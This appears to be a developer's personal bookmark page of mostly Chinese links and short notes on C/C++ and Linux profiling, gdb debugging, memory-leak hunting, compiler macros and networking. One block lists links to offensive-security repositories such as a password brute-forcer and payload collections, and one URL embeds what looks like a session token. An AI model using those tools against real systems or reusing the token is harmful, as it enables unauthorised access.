https://blog.csdn.net/qq_40438165/article/details/115352664?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-115352664-blog-109550338.235^v43^control&spm=1001.2101.3001.4242.2&utm_relevant_index=4 https://blog.csdn.net/dreamcometure/article/details/8895421 ``` gprof | gprof2dot.py | dot -Tpng -o .png ``` ``` gprof2dot.py gprof_output.txt> call_graph.dot dot -Tpng call_graph.dot -o call_graph.png dot -Tps call_graph.dot -o call_graph.ps dot -Tsvg -Kfdp call_graph.dot -o call_graph.svg ``` --- ### addr2line定位段错误 https://blog.csdn.net/jinking01/article/details/1265646721 ### gdb https://ftp.gnu.org/gnu/gdb/ https://sourceware.org/gdb/download/ https://xkzzz.com/post/296692.html https://cloud.tencent.com/developer/article/1069544 https://www.cnblogs.com/bear-Zhao/p/14681558.html https://www.cnblogs.com/visayafan/articles/2128979.html https://www.cnblogs.com/youngt/p/3736801.html ### graphviz https://zhuanlan.zhihu.com/p/644358139 https://www.graphviz.org/ https://www.graphviz.org/download/ ### linux下的资源监控工具: https://blog.csdn.net/hongweigg/article/details/65447088?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-65447088-blog-110436139.235^v43^control&spm=1001.2101.3001.4242.1&utm_relevant_index=3 https://blog.csdn.net/u010099177/article/details/110436139?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-8-110436139-blog-105063721.235^v43^control&spm=1001.2101.3001.4242.5&utm_relevant_index=11 ### linux C/C++底层技术: https://blog.csdn.net/Z_Stand/article/details/88960671 https://linuxstyle.blog.csdn.net/article/details/89741965?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-3-89741965-blog-88960671.235%5Ev43%5Epc_blog_bottom_relevance_base2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-3-89741965-blog-88960671.235%5Ev43%5Epc_blog_bottom_relevance_base2&utm_relevant_index=4 linux 操作系统技能树 https://blog.csdn.net/z_stand/category_9918238.html 一文带你看透 GDB 的 实现原理 -- ptrace真香 https://vigourtyy-zhg.blog.csdn.net/article/details/108395906 --- ### 检查内存泄漏的常用方法: ``` Here are the steps that almost guarantee to find what is leaking memory: Find out the PID of the process which causing memory leak. ps -aux capture the /proc/PID/smaps and save into some file like BeforeMemInc.txt. wait till memory gets increased. capture again /proc/PID/smaps and save it has afterMemInc.txt find the difference between first smaps and 2nd smaps, e. g. with diff -u beforeMemInc.txt afterMemInc.txt note down the address range where memory got increased, for example: beforeMemInc.txt afterMemInc.txt --------------------------------------------------- 2b3289290000-2b3289343000 2b3289290000-2b3289343000 #ADDRESS Shared_Clean: 0 kB Shared_Clean: 0 kB Shared_Dirty: 0 kB Shared_Dirty: 0 kB Private_Clean: 0 kB Private_Clean: 0 kB Private_Dirty: 28 kB Private_Dirty: 36 kB Referenced: 28 kB Referenced: 36 kB Anonymous: 28 kB Anonymous: 36 kB #INCREASE MEM AnonHugePages: 0 kB AnonHugePages: 0 kB Swap: 0 kB Swap: 0 kB KernelPageSize: 4 kB KernelPageSize: 4 kB MMUPageSize: 4 kB MMUPageSize: 4 kB Locked: 0 kB Locked: 0 kB VmFlags: rd wr mr mw me ac VmFlags: rd wr mr mw me ac use GDB to dump memory on running process or get the coredump using gcore -o process I used gdb on running process to dump the memory to some file. gdb -p PID dump memory ./dump_outputfile.dump 0x2b3289290000 0x2b3289343000 now, use strings command or hexdump -C to print the dump_outputfile.dump strings outputfile.dump You get readable form where you can locate those strings into your source code. Analyze your source to find the leak ``` --- ### 高性能服务器开发网 https://linuxcpp.0voice.com/ https://linuxcpp.0voice.com/?id=1838 https://linuxcpp.0voice.com/?id=22 https://linuxcpp.0voice.com/?id=117832 https://linuxcpp.0voice.com/?id=23 https://linuxcpp.0voice.com/?id=1832 ffmpeg:https://linuxcpp.0voice.com/?cate=41 --- ### 技术专家 https://github.com/FengJungle https://bbs.csdn.net/topics/614460904 C++设计模式:https://github.com/FengJungle/DesignPattern -- ### 在新款 Mac 上使用“启动转换”安装 Windows https://support.apple.com/zh-cn/guide/bootcamp-assistant/bcmp173b3bf2/6.1/mac/12.0 --- ### IM,网络,直播技术 https://zuozewei.blog.csdn.net/article/details/127969836 https://cloudpods.csdn.net/65780e7bb8e5f01e1e448f19.html?dp_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NzA2ODMsImV4cCI6MTcwOTA5NDYzNSwiaWF0IjoxNzA4NDg5ODM1LCJ1c2VybmFtZSI6InRneWQyMDE0In0.ZWnr5HgXD8MeHXXAcWpBsuPedgq2hpw6DIuulS7NWhs#devmenu3 https://blog.csdn.net/hellojackjiang2011/article/details/116202017?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-5-116202017-blog-127969836.235^v43^control&spm=1001.2101.3001.4242.4&utm_relevant_index=8 https://blog.csdn.net/hellojackjiang2011/category_11688789.html ### linux折腾(gprof,valgrind,gperftools) https://blog.csdn.net/u014717036/article/details/50762252 https://blog.csdn.net/Rong_Toa/article/details/114981311?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-114981311-blog-50762252.235^v43^control&spm=1001.2101.3001.4242.1&utm_relevant_index=3 ### 高性能服务器开发 https://linuxcpp.0voice.com/ https://linuxcpp.0voice.com/?id=117832 https://linuxcpp.0voice.com/?id=1838 Linux系统调用全过程详解 https://linuxcpp.0voice.com/?id=1867 师妹问我 TCP,我就把这 27 张靓图甩给她了 https://linuxcpp.0voice.com/?id=1871 malloc背后的系统知识 https://linuxcpp.0voice.com/?id=1870 nat: https://linuxcpp.0voice.com/?id=1838#weixin_qr --- ### 值得推荐的C/C++框架和库,包含很多开源项目 (真的很强大) https://blog.csdn.net/lxj434368832/article/details/110664912?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-5-110664912-blog-50884670.235^v43^control&spm=1001.2101.3001.4242.4&utm_relevant_index=8 #### 其中的视频流库: ffmpeg; https://www.sfml-dev.org/ https://www.libsdl.org/ https://github.com/libsdl-org --- ### GitCode开源社区 https://gitcode.csdn.net/?utm_source=blog_detail --- ### 动态追踪技术: https://blog.csdn.net/lianhunqianr1/article/details/135985221 https://cloud.tencent.com/developer/article/1902971 https://www.zhihu.com/tardis/bd/art/298528948?source_id=1001 https://zhuanlan.zhihu.com/p/618239426?utm_id=0 https://blog.csdn.net/yunlianglinfeng/article/details/123203895 https://zhuanlan.zhihu.com/p/597467266?utm_id=0 #### ftrace: https://zhuanlan.zhihu.com/p/624421577 https://www.zhihu.com/question/563216703/answer/3122981976 ### 顶级C/C++程序员 https://blog.csdn.net/lianhunqianr1/article/details/135985221 https://blog.csdn.net/lianhunqianr1/category_2560927.html https://blog.csdn.net/lianhunqianr1/category_7632520.html https://blog.csdn.net/lianhunqianr1/article/details/114694127 ### Linux 软件性能检测--火焰图 https://mp.weixin.qq.com/s/udXNyTd8OIUnIlg-I-KsJg ### 有哪些好的github上c/c++学习项目? https://www.zhihu.com/question/67158058/answer/2666848414 --- ### cpp技术博客合集 https://www.cnblogs.com/fortunely/p/16370208.html https://www.cnblogs.com/fortunely/tag/muduo%E7%AC%94%E8%AE%B0/ #### C/C++区分不同操作系统、编译器、语言版本 https://www.cnblogs.com/fortunely/p/18021414 ``` 区分不同系统 1)_WIN32,Windows系统 _WIN64:32bit and 64bit系统 M_WIN64:仅64bit Windows系统 M_WIN32:仅32bit Windows系统 _WINDOWS:GUI Application _CONSOLE:console Application 2)__APPLE__,苹果系统,包括MAC、IOS TARGET_IPHONE_SIMULATOR:IOS模拟器 TARGET_OS_IPHONE:IOS设备 TARGET_OS_MAC:MAC系统 3)__ANDRIOD__,安卓系统 4)__linux__,linux系统 5)__unix__,所有unix系统 6)_POSIX_VERSION,符合POSIX标准的系统 其他标准还有__FreeBSD__等. 区分不同编译器及其版本 1)MSVC:Microsoft Visual C++编译器 _MSC_VER:不同版本的MSVC编译器,对应不同的Visual Studio版本,如1928对应Visual Studio 2019 2)__GNUC__:GNU gcc编译器; __GNUG__:GNU g++编译器 __GNUC__、__GNUC_MINOR__、__GNUC_PATCHLEVEL__:gcc主版本号、次版本号、修正版本号 __GNUC_PATCHLEVEL__是gcc 3.0以后才有 Linux下命令行输入$gcc -version,可确认gcc版本号。 Linux发行版gcc编译器通常写作GNU GCC 3)__clang__:clang编译器 __clang_major__、__clang_minor__:clang主、次版本号 LLVM是编译器的工具链集合,Clang是使用LLVM的编译器。 4)__MINGW32__:MinGW编译器 MinGW是Windows上gcc的一个实现,基于Win32 API构建,Unix/Linux程序很可能不能直接编译运行; Cygwin是提供类Unix环境(cygwin1.dll),模拟POSIX API接口在Windows上运行,Unix/Linux程序可不修改或少量修改即可编译运行。 5)__CYGWIN__:Cygwin编译器 __CYGWIN32__:32bit版本Cygwin 6)__BORLANDC__:Borland C++编译器 区分不同语言及其版本 1)__cplusplus:区分C与C++代码 gcc编译.c文件,没定义__cplusplus,编译器按C编译代码; gcc编译.cpp文件,定义了__cplusplus,编译器按C++编译代码; g++编译.c文件,定义了 __cplusplus,编译器按C++编译代码; g++编译.cpp文件,定义了 __cplusplus,编译器按C++编译代码; 如果当前文件已定义了__cplusplus(由编译器定义),说明编译环境为C++,则需要用extern "C"{...}包裹C代码,告诉编译器按C编译这部分代码。 tips:MSVC也支持__cplusplus 2)__cplusplus:确定当前支持的C++语言标准的版本 如__cplusplus常用值:199711L = C++98,201103L = C++11,201402L = C++14,201703L = C++17 参考 https://blog.csdn.net/goodcrony/article/details/104985620 https://blog.csdn.net/adminstate/article/details/130247630 https://zhuanlan.zhihu.com/p/78693248 ``` --- ### ### C++多线程编程: https://blog.csdn.net/qq_35976351/article/details/85011190 https://blog.csdn.net/qq_43920838/article/details/143982034 https://www.coonote.com/cplusplus-note/cpp-thread-locks.html https://www.jianshu.com/p/6fc900b8c5ab https://www.elecfans.com/d/2309495.html https://www.cnblogs.com/wanghongyang/p/15252375.html https://zhuanlan.zhihu.com/p/437607949 https://zhuanlan.zhihu.com/p/698114588 https://zhuanlan.zhihu.com/p/553382145 ### C++17: https://blog.csdn.net/weixin_50873490/category_12740509.html ### C++ 17 新特性,编程艺术再进化! https://www.51cto.com/article/781097.html ### Kissnet:轻量级C++17网络库实践指南 https://blog.csdn.net/gitblog_00643/article/details/141312766 ### C++开发回忆录之网络编程 https://zhuanlan.zhihu.com/p/697180959 https://www.cnblogs.com/the-art-of-ai/p/17512996.html ### windows环境下的网络配置工具netsh: https://zhuanlan.zhihu.com/p/703805219 https://blog.csdn.net/qq_14829643/article/details/135563010 https://blog.csdn.net/PSpiritV/article/details/125698718 ### 计算机技术: https://blog.csdn.net/qq_14829643/category_12443641.html https://blog.csdn.net/pspiritv/category_11880945.html ### websocket: https://gitcode.com/gh_mirrors/cw/cwebsocket/overview https://github.com/m8rge/cwebsocket https://blog.csdn.net/qq_35099224/article/details/98749154 https://blog.csdn.net/c232040337/article/details/137137044?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-137137044-blog-98749154.235^v43^pc_blog_bottom_relevance_base9&spm=1001.2101.3001.4242.1&utm_relevant_index=3 ### httpServer: https://www.jb51.net/program/3173974wj.htm https://cloud.tencent.com/developer/article/2360655 https://www.jb51.net/article/256877.htm https://zhuanlan.zhihu.com/p/660505226 https://zhuanlan.zhihu.com/p/6430721911 https://blog.csdn.net/Luoxi23333/article/details/139751825 https://developer.aliyun.com/article/1594982 https://developer.aliyun.com/article/1594719 https://www.jianshu.com/p/f8615d0b484e https://blog.csdn.net/xiaozhi1995/article/details/51598743?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-51598743-blog-139751825.235^v43^pc_blog_bottom_relevance_base9&spm=1001.2101.3001.4242.2&utm_relevant_index=3 https://blog.csdn.net/m0_63191032/article/details/140893414 GoEasy: https://www.goeasy.io/ --- https://github.com/vanhauser-thc/thc-hydra.git https://github.com/guardicore/monkey.git https://github.com/Hack-with-Github/Awesome-Hacking.git https://github.com/swisskyrepo/PayloadsAllTheThings.git https://github.com/sundowndev/hacker-roadmap.git https://github.com/vitalysim/Awesome-Hacking-Resources.git --- ### python aiohttp: https://jimn1982.blog.csdn.net/article/details/141595768#comments_35213602 ### C++游戏案例: https://devpress.csdn.net/awstech/64ddd7044c7ead5211f11a5b.html https://blog.csdn.net/qq_20245171/article/details/143554867 ### springAI: https://alizhazha.blog.csdn.net/article/details/139521251#comments_35523907 ### 字符编码: https://blog.csdn.net/whl0071/article/details/125674560 https://blog.csdn.net/qq_16334327/article/details/80389964 https://www.sohu.com/a/471227044_121124377 ### visual studio下调试ffmpeg: https://www.cnblogs.com/BensonLaur/p/10989115.html ### VS2019编译python解释器源码及学习方法 https://blog.csdn.net/yao_hou/article/details/120103348 https://zhuanlan.zhihu.com/p/148348614 --- ### 符号文件(.pdb)——Windows 应用程序调试必备 https://www.cnblogs.com/keanuyaoo/p/3317928.html ### VS2019 带参数启动调式程序 https://blog.csdn.net/ws_vip/article/details/123259919 ### windows bat脚本基础指令详解 https://www.jb51.net/article/266580.htm ### visual studio使用链接库的官方教程: https://learn.microsoft.com/zh-cn/cpp/build/walkthrough-creating-and-using-a-static-library-cpp?view=msvc-170&source=recommendations#UseLibInApp --- --- --- ---